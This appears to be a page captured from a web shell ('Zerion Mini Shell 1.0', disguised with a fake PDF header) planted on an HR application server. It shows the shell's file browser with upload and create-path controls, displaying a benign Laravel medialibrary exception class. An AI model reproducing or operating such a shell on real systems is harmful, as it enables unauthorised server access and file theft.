%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/vendor/spatie/laravel-medialibrary/src/Exceptions/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/vendor/spatie/laravel-medialibrary/src/Exceptions/MediaCannotBeDeleted.php

<?php

namespace Spatie\MediaLibrary\Exceptions;

use Exception;
use Illuminate\Database\Eloquent\Model;

class MediaCannotBeDeleted extends Exception
{
    public static function doesNotBelongToModel($mediaId, Model $model)
    {
        $modelClass = get_class($model);

        return new static("Media with id `{$mediaId}` cannot be deleted because it does not exist or does not belong to model {$modelClass} with id {$model->getKey()}");
    }
}

Zerion Mini Shell 1.0